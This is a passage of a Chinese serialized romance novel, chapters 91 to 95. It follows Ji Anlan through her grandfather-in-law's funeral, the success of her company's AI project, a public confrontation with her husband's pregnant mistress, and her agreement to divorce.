“安澜,父亲生前最是疼你,如今他撒手人寰,他的丧事,还得由你来操持,毕竟你是我们江家的儿媳妇。”
一句话,让在场的所有记者都惊呆了。
“难道江总还不知道发生了什么事?”
“不是听说周慎和纪安澜正在闹离婚吗?刚才被赶出去的那个,不是才是他的准媳儿媳妇吗?”
“我怎么现在越来越看不懂这些豪门轶事了?”
记者们窃窃私语,一时之间不知道事态将会如何发展。
纪安澜也愣了一瞬。
她从未想过回到江家,可江震霆提到了爷爷,纪安澜那颗坚硬的心瞬间变得柔软。
目光看向了病床,眼底依旧是化不开的忧伤,纪安澜无法接受爷爷去世的事实。
她也知道江震霆为什么让她回到江家。
一是因为江家现在属于多事之秋,江老爷子逝世后,江家根基不稳,需要江震霆坐镇,江家内部不能出乱子。
二是纪安澜如今手握着人脉和资源,江家儿媳的身份,足以打消外人的疑虑,彻底地稳住江家的局面。
待在江家八年,她又岂会不知道江震霆的品性?
商人最是重利,他这么做就是权衡利弊的结果。
纪安澜知道她只不过是个棋子,为了爷爷,她愿意做这个棋子。
“好。”她声音轻浅,淡淡地回了一声。
江容川的视线紧盯着纪安澜,眼底充满了期待,终于听见了纪安澜发出的一个音节,眼睛顿时放光,眼底是忍不住的狂喜。
纪安澜终于答应回到江家了!
江震霆冷冷地瞥了一眼那群记者,声音冷冽:“戏看够了吗?”
话音刚落,几个保镖站到了他身前。
记者们被吓得魂飞魄散,赶紧逃出了病房。
偌大的一个房间,只剩下了他们四人。
柳清眉眉头紧皱,一脸不满,紧咬着下唇,愤恨地看着江震霆。
“你怎么能让她回来?”
江震霆冷厉的目光落在她身上,面色沉了沉。
“她是我江家儿媳。”
说罢,瞪了她一眼:“你别以为我不知道你做了什么好事,跟我走!”
话音刚落,抬脚朝着外面走,身后的保镖目光则落在了柳清眉脸上。
她虽然不甘心,可也不能忤逆江震霆,慢吞吞地抬脚,跟他一起离开。
砰的一声,门被关上。
房间陷入安静。
纪安澜来到病床前,眼睛一眨不眨地看着江老爷子,长长的眼睫微颤,像是蝴蝶扇着翅膀,在脸上投下小面积的阴影。
江容川站在原地,看着她白皙的小脸血色尽失,眼底划过一抹担忧。
“你去休息吧,一会医院的人就会把爷爷拉到太平间,也让爷爷早点安息。”
纪安澜没有回答,眼睛依旧死死地看着江老爷子,眼底的不舍快要溢出。
“澜澜,我知道你很难过,但身子要紧,想来爷爷如果活着,肯定不希望看到你这样。”
如此温柔的话,竟然是从江容川的嘴里说出来的,纪安澜没想到。
他是在安慰她吗?
她需要的时候,早就已经过了,现在她根本就不需要这些安慰。
掀起眼眸,纪安澜的眼睛里布满了红血丝,冷冰冰地注视着江容川,一字一句道:“我要跟爷爷告别,你能不能先出去?”
他毕竟是江家人,她的态度不能太强硬,省得得罪了他,连爷爷的面都见不着。
看着
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那双黑白分明的眼眸,江容川沉默一瞬,点了点头,默然地走了出去。
看着房门紧闭,偌大的一个房间只剩下了纪安澜和躺在病床上的江老爷子。
泪水终于夺眶而出,纪安澜紧拉着江老爷子冰冷的手,伏在床上失声痛哭。
门外,江容川听着纪安澜压抑的哭声,觉得心仿佛被揪紧,想进去安慰,可脚步悬浮在半空中,又退了回来。
呜咽的哭声,十分悲戚,缠绕在他心头,久久不散。
接下来的几天,纪安澜犹如行尸走肉,脸色苍白,毫无血色,呆坐在家里一整天,直到办理丧事的日子定下来。
江震霆亲自邀请她前去主持。
纪安澜强打起精神,换上一身黑衣服,前往目的地。
每一件事,她都细心规划,从灵堂的布置到宾客接待,再到丧葬礼仪,不仅亲自操持,更不允许有半点错漏。
柳清眉本就对江震霆的决定有所不满,更是从中作梗。
眼见着门口,纪安澜订的高价香烛和寿衣到了,柳清眉满眼心疼,气得直抽气,声音尖厉地嚷嚷道:“纪安澜,为什么要买这么贵的东西?就因为你马上就要跟我儿子离婚了,所以想要趁机狠狠宰我们江家一次吗?”
眉头微蹙,眼神凌厉,纪安澜掀起眼眸,眼睛像是一把刀刃,直直地朝她刺了过去。
柳清眉呼吸一滞,被她那阴寒的神情吓到了。
转瞬一想,这是他们江家的地盘,又挺直了腰杆,开始埋怨:“反正是办葬礼,随便弄点便宜的东西不就行了?用得着搞这么大的排场吗?反正都是个**!”
纪安澜眼神仿佛淬了冰,冷冷地瞪着她,那眼神看得柳清眉后背发寒,忍不住后退了两步,神情紧张:“你……你想干什么?”
“爷爷操劳一生,为江家打下这片江山,他的身后事你也想糊弄?这点钱,算什么?”
纪安澜一个眼神,送货人便将香烛和寿衣送了进去。
“那这些装饰呢?就三天,也要弄得那么贵?看你就是想要浪费钱!不下蛋的母鸡,也配在我们江家指手画脚?你赶紧给我滚出去!”
第91章 好久没见他了
尖锐的声音响彻了整个大厅。
所有人的目光纷纷地射了过来。
纪安澜面色一沉,目光越发凌厉,眸色如同刀刃,冷冰冰地刺向柳清眉。
“你以为我怕你啊?我才是这江家的当家主母!你马上就要被我儿子休了,有什么脸在我们江家指三道四?震霆那是客气才让你主持老爷子的葬礼,还真把自己当碟子菜了?”
她越说越气,口不择言:“等到老爷子丧礼一结束,我就让我儿子跟你离婚!你一刻也休想在我们江家待着!”
声音颇大,在场的所有人都能听得到。
纪安澜面色渐沉,还未开口说话。
一道冷冽低沉的嗓音自门口传来。
“够了!”
江震霆快步走来,锃亮的皮鞋停在柳清眉面前。
强大的压迫感迎面而来,柳清眉一见靠山来了,立刻迎上前,想开口告状。
“安澜是我请来的,这个丧仪,只有他办我才放心,而我心里也只认她一个儿媳妇。”
“什么?”柳清眉不可置信地瞪着她。
“可是妘妘已经怀有身孕,那可是我们江家的种!”柳清眉拔高了音量,扯着嗓子,提醒着江震霆。
“江容川自己搞出来的事,让他自己解决。”
江震霆的声音冰冷,没有一丝温度,事不关己的态度,仿佛是个局外人。
视线落在纪安澜脸上,他声音柔和了些:“让你受委屈了。”
“一切按照你的意思办,不管多少钱,这次的丧仪不能省!”
这句话就像是一记响亮的巴掌打在了柳清眉的脸上。
脸色顿时变得铁青,看着江震霆那冷峻的脸,敢怒不敢言,心里对纪安澜恨得牙痒痒,恶狠狠地瞪向了她,眼神带着一抹狞色,阴鸷得仿佛要**。
纪安澜淡然地点了点头,收敛起脸上的表情,又恢复了冷漠疏离的态度。
丧仪差不多准备完毕,吊唁的宾客也陆陆续续地进场,来的大都是上流社会有头有脸的人物。
纪安澜一身黑色孝服,站在灵堂一侧,神色清冷,眉眼低垂,眉眼间是掩饰不住的悲戚,强压着心底的哀伤,有条不紊地接待着宾客。
这时,两道熟悉的身影缓步而来。
为首的男人身着黑色西装,头发梳得一丝不苟,身姿挺拔,气质温润如玉。
是周霆云。
而他身后跟着的男人,身形颀长,黑色西装,裁剪得体,衬得他宽肩窄腰,面容冷峻,眉眼越发深邃。
是周慎。
纪安澜视线越过周霆云,看向他时,心跳莫名地漏了半拍。
她已经许久没有见过周慎了。
不记得有多长时间,仿佛是上一辈子的事。
自从上次在御景豪庭,吃了个闭门羹,两人关系闹僵后,就再也没有了联系。
定定地看着那张鬼斧神工般的脸,纪安澜有些出神,在准备丧仪的前段日子,她除了缅怀爷爷,脑海里闪现最多的就是周慎的身影。
思念犹如潮水,慢慢侵袭着她,如今一见到**,心脏节拍不规律地跳动着。
感受到纪安澜灼热的视线,周慎的目光落在她身上。
只见纪安澜身着黑色孝服,巴掌大的小脸血色尽失,眼底满是疲惫与哀戚,几天不见,她的身材越发清减了,瘦得令人心疼。
纪安澜发现周慎在看她,忍不住对上了视线。
四目相对,墨染的眸子沉了沉,周慎神色略有些不自然,扫了她一眼,淡漠地收回视线,周身笼罩着冷冽的寒气,一副生人勿近的表情。
纪安澜心口一紧,失望地垂下眼眸,转瞬便已恢复了清冷自持。
周霆云和周慎两兄弟上前吊唁,为江老爷子上了一炷香。
此时江容川正巧赶了过来,目光穿过人群,落在了纪安澜身上。
而他身后跟着宋妘妘,一脸得意,冲着纪安澜挑了挑眉。
江容川紧盯着纪安澜,走过去,理所应当地站在纪安澜身边。
宋妘妘怒不可遏,可看着纪安澜身边站着江震霆,想到之前被丢出病房的事,心有余悸,不敢上前。
江容川侧目看了一眼纪安澜,苍白的小脸毫无血色,张了张嘴,正欲开口。
这时,周霆云走过来,站到了他面前。
“江总,今日除了吊唁江老爷子,还
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有一件重要的事情要宣布。”
声音颇大,不少宾客都好奇地看了过来。
周霆云目光扫过人群,视线不自觉地在宋妘妘脸上定了几秒,最后目光落在了江振廷和江容川脸上。
“江董,江总,即日起,周氏将解除与**集团的所有合作项目。”
一字一句,字字清晰。
这句话犹如一道惊雷,在江震霆和江容川的脑海里炸裂开来。
他们瞪大眼睛,不可置信地看着江容川,王伯伯不敢相信自己的耳朵。
江容川率先反应过来,失声嚷道:“为什么?那些合作不是我们说好的吗?怎么在这个时候解除合作?”
周霆云一脸淡然、平静地看着他的反应,嘴角挂着淡淡的笑意,眼底却没有半分温度。
“合同上写得清清楚楚,一切解释权归周氏所有。”
言外之意就是,他们周氏想什么时候解除,就什么时候解除,**没有半点置喙的余地。
这一点就是霸王条款,当初江容川也觉得有些不妥,可他被兴奋冲昏了头脑,觉得有宋妘妘跟周家的关系在,想必周家不会轻易解除合同。
没想到这像是回旋镖,正中眉心,彻底地击垮了他。
“周总,你不能这么对我们!爷爷刚刚去世,你们就撤销合作,这不是落井下石吗?”
质问声响彻了整个大厅。
周霆云淡淡地看着他,无比平静:“江老爷子去世,我也很痛心,可如今江家的局面,再不适宜合作,小周总,还是另找他人吧。”
话音刚落,他淡然地转身离去,目光不经意地瞥向了不远处的宋妘妘,两人视线交汇,眼底泛着一丝冷冽的光。
他抬腿离开了灵堂。
周慎站在原地,目光落在纪安澜身上,深深地看了她一眼,眼神冷漠而又疏离。
那眼神犹如一根刺,狠狠地扎进了她的心口。
纪安澜手指微蜷,眼睁睁地看着周慎转身离开。
江震霆面色铁青,他不想失去与周氏合作,转头看向纪安澜,声音急切,夹杂着命令的语气:“安澜!听说你跟周慎很熟,你去找他说说情!”
第92章 他来过了
纪安澜脸色微白,想到周慎刚才的表情,只觉心口隐隐作痛,强压着心头的情绪。
掀起眼眸,眼神无波,清冷的目光落在江振庭脸上,声音清浅:“我跟周总不熟,他不会听我的。”
这句话犹如一盆冷水,彻底地浇灭了江震霆的希望。
他脸色铁青,一阵红一阵白,怒气无处发泄,瞪着纪安澜,气纪安澜不愿意帮忙,更气江容川留下这个烂摊子。
此时的江容川却眼前一亮,听见纪安澜的话,内心一阵狂喜。
这么说,之前纪安澜跟周慎都是在做戏?一切都是为了气他!
他就知道纪安澜还是爱他的!
想到这里,他看向纪安澜的视线也变得炙热,眼底散发着狂热的光芒。
而伴随着周家两兄弟离去,灵堂气氛变得压抑,宾客们全都是八卦的神情,可看着江震霆的脸色,没有一个人敢议论,他们互相交汇了一下视线,用一种怪异的表情盯着**父子。
江震霆觉得面上难看,扭头,冷冷地扫了纪安澜一眼:“丧仪,一定要完整和体面!”
丢下这句话,打算离开灵堂。
临走之前,扭头,恶狠狠地瞪了一眼江容川。
“你跟我来!”
话音刚落,不等江容川回答,便快步离开。
江容川极不情愿地跟了上去,扭头定定地看着纪安澜。
她冷漠地站在那里,一脸清冷,完全生人勿近。
千言万语堵在喉咙里,江容川只觉喉咙发紧,没有说话,转身离开。
两父子离去后,灵堂上压抑的气氛终于得以放松,宾客们窃窃私语的声音逐渐放大。
纪安澜只觉得像是有苍蝇在耳边嗡嗡作响,脸色越发惨白,这几日的忙碌,再加上饮食不规律,让她大脑一阵眩晕,身形摇晃,险些摔倒。
急忙握住桌角,纪安澜这才勉强站稳。
纪安澜强打着精神,继续接待着吊唁的宾客。
她只觉得大脑里一片空白,所有的行为如同行尸走肉一般。
也不知怎么回到半山别墅的,一推开房门,一头栽在沙发上,倒头就睡。
迷迷糊糊间,似乎听到了窸窸窣窣的声音响。
眯起眸子,恍惚间看到了一个熟悉的身影。
那道颀长的身影,就站在她面前,鼻息间充斥着熟悉的松木香。
纪安澜伸手,一把拉住了他的手腕,嘴里无意识地呓语着:“周慎……”
那道身影猛地一震,脚步顿住,站在床边,犹如被施了定身术。
周慎垂眸,看着睡得正熟的纪安澜,那凛冽的目光,寒意逐渐褪去,取而代之的是柔和。
他从灵堂一路跟着纪安澜来到了半山别墅,谁知纪安澜迷迷糊糊间竟然忘记了关门。他见房门打开,担心纪安澜安危,想放下东西就走,鬼使神差来到了她面前。
谁知竟然被她拽住了手腕,不肯放开。
借着淡淡的月光,看着那张巴掌大的小脸,越发的清瘦,他的眼底多了一抹担忧。
弯腰拿起一旁的毛毯,轻轻地盖在了她的身上,深深地看了她一眼,周慎这才将手扯了回来。
把随身携带的东西放在了桌子上,回头看了她一眼,脚步很轻,走向门口,房门被轻轻带上。
偌大的一个房间陷入了一片寂静,只能听见纪安澜均匀的呼吸声。
翌日。
纪安澜悠悠转醒,刚从沙发上坐起,就看见了桌子上放着的计划书。
打开看了一眼,纪安澜心口猛地一跳,下意识地环顾四周,周慎不在。
大门紧闭。
他来过了!
原来昨天晚上不是做梦。
纪安澜打开计划书,发现里面十分详尽地写着关于AI项目的发展规划与方案,细节考虑周全,看样子是花费了不少心血。
纪安澜心里五味杂陈。
她想立刻去找周慎,想要见到他,那种思念仿佛野草一样疯长。
可她知道,两人如今身份有别,她现在还没离婚,名义上还是江容川的妻子。
她不能,也不可以在这时动心思。
手指紧握着计划书,纪安澜眼神坚定。
决定等离婚了之后,找到周慎,要亲口告诉他。
她不想做他的情人了!
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深吸一口气,纪安澜压下心底的情绪,开始专注于计划书。
仔细翻阅了一番后,纪安澜来到记忆室召开紧急会议。
按照计划书上的内容,对AI项目团队进行了大刀阔斧的改革,不仅砍掉了两个冗余的小组,优化了人员配置,更能明确各个部门的职责,效率大大提升。
在纪安澜的带领下,AI项目提前了整整半个月,全面投入市场。
凭借先进的技术和便捷的操作,好评如潮,市场占有率快速攀升。
不过,也有大量公司明确禁止使用AI项目。
对此,纪安澜早有准备。
按照计划书上的方案,他主动联系了海关科技团队,洽谈AI合作项目,配合他们使用他们自己的服务器模拟运行,并完成了完整链路执行,并且成功跑通,在京市内网大量铺设。
既保证了不会泄露机密,也保证了职能部门使用AI项目实现便利性。
消息溢出,各大企业争相抛来橄榄枝,合作书纷至沓来。
仅用了短短半个月的时间,纪氏犹如一匹业界的黑马,成功地实现了市值翻倍。
有人欢喜有人忧。
**集团却情况堪忧。
江容川负责的智慧机器人项目,遇到了前所未有的瓶颈。
没有了周氏的合作支持,再加上核心技术本就存在缺陷,不仅项目进行缓慢,大量投入的资金也如同石沉大海,等于都打了水漂。
江容川急得像热锅上的蚂蚁,在办公室里,脸色阴沉,将手中的茶杯摔在了地上,发泄怒火。
恰巧宋妘妘推门走进来,被那迎面砸来的杯子吓了一跳。
看着江容川面色阴沉,她赶紧关心地问:“你这是怎么了?谁惹你生气了?”
周慎面色越发阴郁,沉默不语,一旁的助理赶紧低声解释:“AI智慧机器人项目遇到了瓶颈,难以突破,可钱都砸进去了,怕是都会打水漂,江总正在犯愁呢……”
“那不是纪安澜跟你合作的项目吗?”宋妘妘建立着嗓音,想到了什么似的,厉声道:“她该不会是故意整你的吧?”
第93章 小产了?
江容川脸色一沉,眼中泛起一丝怀疑。
宋妘妘趁机火上浇油:“她之前那么恨你,怎么会突然想着跟你合作?我看她就是心里憋着坏,想伺机报复你呢!”
这话犹如一道惊雷在江容川的脑海里炸裂开来。
他想到之前纪安澜的种种反应,确实有这种可能。
不过当时,纪安澜也有别的选择,只不过,他最后选择了**罢了。
也许只是巧合?
毕竟纪安澜可是亲口承认跟周慎不熟的。
他心里抱着一丝侥幸的态度。
宋妘妘看着江容川犹豫不决的模样,拉着他的手腕往外走。
“今天一定要让纪安澜给我们个说法!这个亏可不能随便吃!那可是整整六亿啊!”
与此同时,近视的AI项目取得圆满成功,在希尔顿酒店举办了盛大的庆功宴。
宴会厅,觥筹交错,一副热闹的景象。
纪安澜身穿一袭白色连衣短裙,站在人群中央,脸上挂着浅浅的微笑,动作优雅从容,听着祝贺与夸赞。
突然,两道不合时宜的身影,赫然闯了进来。
纪安澜微眯着眼睛,眼底闪过一抹冷芒。
早知道他们会来找麻烦,没想到动作这么快。
难道智慧机器人项目已经支撑不下去了?
心里发出阵阵冷笑,纪安澜面无表情地看着他们,怒气冲冲地跑到她面前。
宋妘妘指着她的鼻子怒骂道:“纪安澜,你这个**!你是不是故意把有问题的项目给我们的?那智慧机器人这么大的缺陷,你不可能不知道!赶紧把那六亿还给我!否则我不会放过你。”
尖利的声音响彻了整个大厅,所有人的目光齐刷刷地射了过来。
纪安澜满脸淡然,甚至懒得抬眼,只是缓缓地转动杯中的琥珀色液体,声线冷到极致:“这是纪氏的庆功宴,不欢迎闲杂人等。”
“你还好意思庆功?你让我们**赔了6个亿还不止,必须赔偿我们的损失!”
宋妘妘扯着嗓子怒吼着,双手掐着腰,隆起的小腹异常扎眼,眼睛里充满了怨毒。
而周围都是纪氏的人,他们只用一种异样的眼光盯着她,窃窃私语。
“**自己搞不定AI,凭什么怪我们纪氏?”
“纪总的能力我们都看在眼里,怎么可能会出差错?”
“要怪就怪**无能,现在出错了又来找我们纪氏,没能力当初就别签合同啊。”
听着这些话,宋妘妘脸色骤变,恶狠狠地瞪了他们一眼。
众人只是戏谑地盯着她,继续交头接耳。
这毕竟是在纪氏的地盘上,可不是给她撒泼的地方。
纪安澜掀起眼眸,淡漠地扫了一眼江容川和宋妘妘,眼底泛着一丝轻蔑:“合同上白纸黑字写得清清楚楚,在完成验收之前,经过了三轮检测,项目到现在才出问题,你不在自己身上找问题,凭什么怪在我们纪氏头上?”
“你就是故意的,因为你觉得容川爱我!你嫉妒,我怀了孩子,你又生不了!所以就故意拿这种不成熟的合作给我们!”
她故意扯着嗓子喊着,想要全部的人都知道纪安澜不能怀孕的事实。
这些话听得多了,纪安澜也就有了免疫力,脸上的表情没有多余的波动,只是瞥了她一眼。
冷哼一声:“你再闹下去,我就叫保安了。”
“叫啊,有本事你去叫啊!你让我损失了6个亿,看我今天不撕烂你的嘴!”
话音刚落,直接朝着纪安澜的方向冲了过去。
就在他指尖快要接触到纪安澜的刹那,从人群中冲出来两个保安,直接按住了她。
为了防止她伤害纪安澜,力道很大,将她死死地钳制在原地。
“放开我!”宋妘妘努力地挣扎着,疯狂扭动身子,尖利的声音仿佛要冲破耳膜。
“我肚子里怀的可是江家的孩子!你们敢动我?一旦我孩子出了任何问题,我一定告到你们倾家荡产牢底坐穿!”
保安面色微变,动作有些迟疑。
毕竟宋妘妘是孕妇,不能随意打骂。
他们两人也逐渐放松了力气,宋妘妘趁其不备,挣开束缚。
她恶狠狠地瞪了一眼纪安澜,毫不犹豫地冲了过去。
可刚跑了
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没两步,脚下一滑,身子重重地绊倒在地。
“啊!”
一声杀猪般的惨叫响彻了整个宴会厅。
她趴在光滑的大理石地板上,脸色唰得一下白了,额头上布满了细细密密的汗珠,痛苦地蜷缩着身子,双手紧捧着小腹,脸色难看至极。
一片醒目的红色自她身下蔓延,仿佛盛开了一道彼岸花,深深地刺痛了众人的眼。
众人这才反应过来,人群中,有人忍不住惊呼:“救……快叫救护车!”
听见声音,江容川猛然冲过去。
他不可置信地看着倒在血泊里的宋妘妘,眼底泛着复杂的情绪。
孩子……
宋妘妘脸上血色尽失,疼得浑身颤抖,掀起眼眸,看着江容川,紧抓着他的裤腿,手指的血污染红了他的衣服。
“容川,孩子,我们的孩子要没了……你一定要为我们的孩子报仇!都怪纪安澜!”
声线虚弱,声音断断续续,恶狠狠地扭头,怨毒地瞪着纪安澜,那眼神仿佛要将她生吞活剥。
“纪安澜,你是杀害我孩子的凶手!我绝对不会放过你的!”
纪安澜远远地站着,眼底全都是冷漠。
距离如此之远,都能把这件事情怪在她头上。
纪安澜冷声道:“想碰瓷,去别的地方,是你自己摔倒的,跟我有什么关系?”
“要不是你把合作给我们**,她能那么冲动地要与你算账吗?”
一直沉默不语的江容川终于爆发了。
眸子阴鸷地瞪着纪安澜,满脸阴郁,脸色阴沉得仿佛随时都能滴下水来。
一想到宋妘妘肚子里那个被她寄予厚望的孩子,可能没了,他急红了眼,一个跨步走上前。
抬手给了纪安澜一记响亮的巴掌。
清脆的巴掌声响彻了宴会厅。
顿时鸦雀无声。
“纪安澜,妘妘和她肚子里的孩子要是有什么三长两短,我一定不会放过你跟纪氏!”
纪安澜的头偏向一旁,嫩白的小脸上瞬间浮现出清晰的手掌印,嘴角甚至溢出一丝血迹。
她反手给了江容川一巴掌。
第94章 彻底重活了过来
啪的一声。
这一巴掌比刚才更响更脆。
仿佛夹杂着纪安澜所有的容忍与愤怒。
就连江容川都踉跄地后退了一步。
纪安澜拇指擦掉嘴角的血迹,眼底是藏不住的冰冷与厌恶。
背脊挺直,眼神如淬了冰一般,盯着江容川:“你瞎吗?刚才是他自己摔倒的,跟我有什么关系?我们纪氏到处都有监控,你们非要上赶着碰瓷,怕是找错了地方,再闹下去,我就只好报警了。”
冰冷的声音没有一丝温度,冷冽的面上写满了厌恶。
江容川不可置信地看着纪安澜,她已经变得跟之前完全不一样,他从未想过,有一天纪安澜竟然会打他。
曾经,那十几年的爱情,让纪安澜跟在他的身边,如同跟屁虫一般,他也习惯了纪安澜的好。
如今,看着面前冷漠疏离的纪安澜,他只觉得陌生。
脸上火辣辣的疼痛在提醒他,这个女人在离他越来越远,他的眼底划过一抹复杂的神色。
刚才之所以当众打纪安澜一巴掌,其实就是为了做给宋妘妘看。
如今的**在风中摇摇欲坠,只有稳住宋妘妘,才有一线生机。
见他不说话,纪安澜目光扫了一眼宋妘妘,目光落在江容川脸上:“之前我就警告过你,管好你的女人,不要在我面前撒野,非要碰瓷,并且诬陷我的话,我们有事实为证。”
话音刚落,纪安澜朝着张萌萌使了个眼色,她立刻去调取监控。
“若是我有罪,自有法律来判决。”
说罢,声音越发阴冷:“至于AI智慧机器人,当初,交付的时候经过三轮检测,都没有任何问题,反倒你们手中失败了,你把过错强加在我们纪氏头上,不觉得很可笑吗?”
“不要狡辩,就是你,你以为我看不出来?你就是为了想报复容川!”
宋妘妘苍白的小脸毫无血色,指着纪安澜怒骂着,使尽全身力气抬手指着纪安澜,浑身颤抖。
“证据呢?”纪安澜眉峰微挑,眼底划过一抹不屑。
“我……”宋妘妘被堵得无话可说。
江容川面色微白,紧盯着纪安澜,眼底染上了一层墨色。
他对纪安澜也产生一丝怀疑,觉得此事有蹊跷,不过,她确实没有办法拿出证据。
“我一定会找到证据,证明是你害的我们损失了6个亿!”
宋妘妘气得胸口剧烈地起伏着,大口地喘着气,言之凿凿。
纪安澜不屑地笑了笑:“那我就等着看。”
话音刚落,宴会厅外响起了救护车的声音。
宋妘妘就像是抓住了最后的救命稻草,紧拽着江容川的衣袖。
她掀起眼眸,楚楚可怜地看着江容川。
“救……救救我!救救我肚子里的孩子!”
语气急切,声音颤抖。
江容川毫不犹豫地将她抱起,快速的朝着门口冲去。
宋妘妘则恶狠狠地瞪着纪安澜,冷声道:“你给我等着!”
闹剧在两个人的背影下结束。
地上的血迹也被酒店里的阿姨打扫干净,干净的仿佛从来都没有出现过血渍。
不过所有的人都没有说话,大厅安静得有些诡异。
纪安澜扫了一眼众人,微微一笑。
“不好意思,一点小插曲,无伤大雅,庆功宴继续。”
话音刚落,众人欢呼,又开始了纸醉金迷的状态。
张萌萌赶回来时,见到纪安澜一脸闲庭自若,眼睛里充满了敬佩。
在这种情况下,纪安澜竟能如此镇定,实在非常人所能及,要是换做其他人,恐怕早就已经不知道如何解决了。
纪安澜定定地站在原地,脸上是火辣辣的疼痛,嫩白的小脸上显现出清晰的手掌印,眼底却带着一丝不屈的寒意。
刚才江容川紧张宋妘妘的模样,似曾相识。
那时的她只会委曲求全,如今的她不再隐忍。
甚至对两人的暧昧完全没有一点反应。
她彻底地重活了过来!
掀起眼眸,看着两人消失的方向,纪安澜的眼神越发坚定,手指紧紧蜷缩,握成拳,纪安澜心里暗自发誓,一定要拿回属于她的一切!
这时,人群中,一道颀长的身影静静伫立,黑曜石般的眸子紧盯着纪安澜,眼底翻涌
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着复杂的情绪。
感觉到有人在看她,纪安澜下意识地转头朝着人群看。
全都是一些陌生的面孔。
那道人影迅速地隐没在人群之中,只留下了一道挺拔的背影。
医院里。
鼻息间充斥着消毒水的味道。
江容川焦急地在走廊里等待着,等到医生将门打开,他立刻冲了过去。
“怎么样?孩子怎么样了?”
医生微微蹙眉,眼底划过一抹不悦,他竟然只关心孩子,完全不关心女人。
“孩子没事,只是母体比较弱,需要好好静养,切不可气大伤身,否则下一次就不能保证是否流产了。”
听到这句话,江容川松了一口气,脸上划过一抹惊喜,开口道谢:“多谢医生!”
话音刚落,抬脚进了病房。
宋妘妘躺在病床上,脸色惨白如纸,被子下的小腹隆起,见到江容川来了,隐藏住眼底的阴毒,换上了一副楚楚可怜的表情。
“医生怎么说?”她迫不及待地问。
“孩子保住了。”江容川声线平静地回答。
“那就好,那就好……”宋妘妘长吁了一口气,整个人都放松了下来。
“这件事情都怪纪安澜,就是嫉妒我怀了孩子!而她自己不能生!所以才会在智慧机器人上做手脚,你可一定要彻查清楚,把那6亿给要回来。”
宋妘妘心心念念惦记的只有那6亿。
可江容川听到的却是“纪安澜不能生”这几个字,他的眼底划过一抹愧疚,心里没来由地产生了一丝后悔。
若是当时没动手的话,说不定他们现在的孩子都已经很大了。
只是世上没有卖后悔药的。
见江容川面色难看,宋妘妘继续火上浇油。
“纪安澜既然已经不能生育,若是看到你的孩子出生,恐怕会再次对我动手,对我动手也就算了,千万可不能伤了**的根本。”
“什么?”
门口传来了一道低沉、不可置信的嗓音。
江震霆快步推门走了进来。
“你刚刚说什么?纪安澜不能生育?这到底是怎么回事?”
第95章 8年的婚姻,换来的
“叔叔,你可能还不知道吧?纪安澜去医院检查过了,这辈子都没有怀孕的可能。”
宋妘妘斩钉截铁,一字一句,语气清晰,生怕江震霆听不清似的。
江震霆面色铁青,他在国外,从未听过此事。
目光下意识地落在了宋妘妘那微微隆起的腹部,眼底划过一抹异样。
见他脸色难看,宋妘妘继续说道:“而且这一次纪安澜跟我们**的合作出了大问题,一定是她故意的,就是为了报复容川跟我!让我们足足损失了6亿,说不定以后还有更龌龊的手段!”
闻言,江震霆的脸色越发难看,他浓眉紧皱,似乎在思考着什么。
宋妘妘的目光落在了一旁的江容川脸上。
他脸色紧绷,同样眉头紧锁。
“容川,我们差点就失去了孩子,这一切都是纪安澜害的!我之前就让你跟她离婚,可你偏偏不肯,这一次,我虽然保住了孩子,但是下次呢?你要是再不离婚,我就带着孩子离开,再也不回江家了!”
声音颇大,响彻了整个病房。
她知道,如今就是逼迫江容川离婚的最佳时机。
江震霆刚知道纪安澜不能生育的事实,再加上**如今亏损了6亿,他肯定对纪安澜心生不满,**也需要周氏的人脉关系,恰巧,她跟周霆云很熟。
天时地利人和,她都占了。
她就不相信这次还不能让两人离婚!
想到这里,宋妘妘眼底隐隐泛光。
江容川已经没得选了。
他脸色铁青,黑如锅底,站在原地没有答话。
一旁的江震霆突然掀起眼眸,面色阴沉。
“容川,凡事以大局为重,我刚回来时并不知道纪安澜不能生育了,否则也不会让她主持你爷爷的葬礼,如今她又让我们将是亏损了6个亿,跟你压根就不是一条心的,像这样的女人留在我们江家,只会坏事!”
话音刚落,走上前,手搭在了他的肩膀上,促进他声音低沉,用仅有两个人能够听到的声音说道:“如今想要维持跟周家的人脉,只能靠宋妘妘,你可不能再得罪她,到时候竹篮打水一场空。”
话音刚落,拍了拍他的肩膀,手指用力,暗示江容川。
这些话,他又何尝不知?
只是一想到要跟纪安澜离婚,他的心中就万般不舍。
目光落在了病床上的宋妘妘,一脸的虚弱,楚楚可怜地盯着他,眼底划过一抹坚定。
他知道,若是此时不答应她,恐怕宋妘妘真的会带着孩子离开。
**如今面临困境,若是没了周氏的帮忙,怕是很难有翻盘的余地。
心底对纪安澜的那丝感情,伴随着利益的纠缠,显得那么的微不足道。
沉默良久,江容川终于开口,声线平静:“好,我答应跟她离婚。”
终于听到了这句话,宋妘妘雀跃得差点从床上蹦起来,只是她现在身子虚弱,只能躺在床上,面露惊喜。
“容川,你终于想通了!”
说罢,赶紧催促。
“既然想通了,那就不要耽搁了,现在就给纪安澜打电话吧,不然她还以为你对她余情未了呢。”
江容川面色一滞,眼底划过一抹犹豫,一旁的江震霆恶狠狠地瞪了他一眼。
无奈之下,只好掏出手机,给纪安澜打去了电话。
彼时,纪安澜刚从庆功宴上楼,来到休息室。
看到来电显示,立刻接听。电话那头传来了江容川疲惫的嗓音。
“澜澜,我们离婚吧。”
声线平静,听不出喜怒。
愣了一下,有一瞬间的恍惚,她还以为听错了,沉默了一瞬。
江容川眼底划过一抹希冀。
下一秒,纪安澜嘴角勾起了一抹释然的笑。
“好,什么时候?”
她等这一天已经等了很久。
江容川面色越发阴郁,眼底的希冀瞬间全无,取而代之的是不甘心与黯淡。
在纪安澜看来,这几年的婚姻就像是个笑话。
真心在江容川眼中一文不值。
8年的婚姻,换来的只是背叛与伤害。
如果不是为了拿到属于自己的东西,她早就强迫江容川与她离婚了。
既然江容川不愿意再拖着,母亲的画也全都拿了回来,她没必要再跟江容川继
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续纠缠。
“时间你来定,我随时有空。”
“明……”江容川刚准备开口,宋妘妘立刻抢过话茬:“现在,就现在出发去民政局!”
江容川的面色微变。
纪安澜看了一下时间,立刻答应:“好,我收拾一下马上就去,希望江总也能准时到达,不要放鸽子。”
话音刚落,直接挂断了电话,没有丝毫的留恋。
江容川紧握着手机的手,骨节微微泛白,面色阴郁得仿佛随时都能滴下水来。
纪安澜轻而易举的就答应了离婚,语气急切,像是早就已经迫不及待了。
他的脸色阴沉,心里很不是滋味。
一旁的宋妘妘则兴致勃勃:“容川,我没事,你不用陪着我,你赶紧去民政局吧,可别像上次一样,错过了时间,人家都下班了。”
这句话表面是在提醒,其实是在警告江容川。
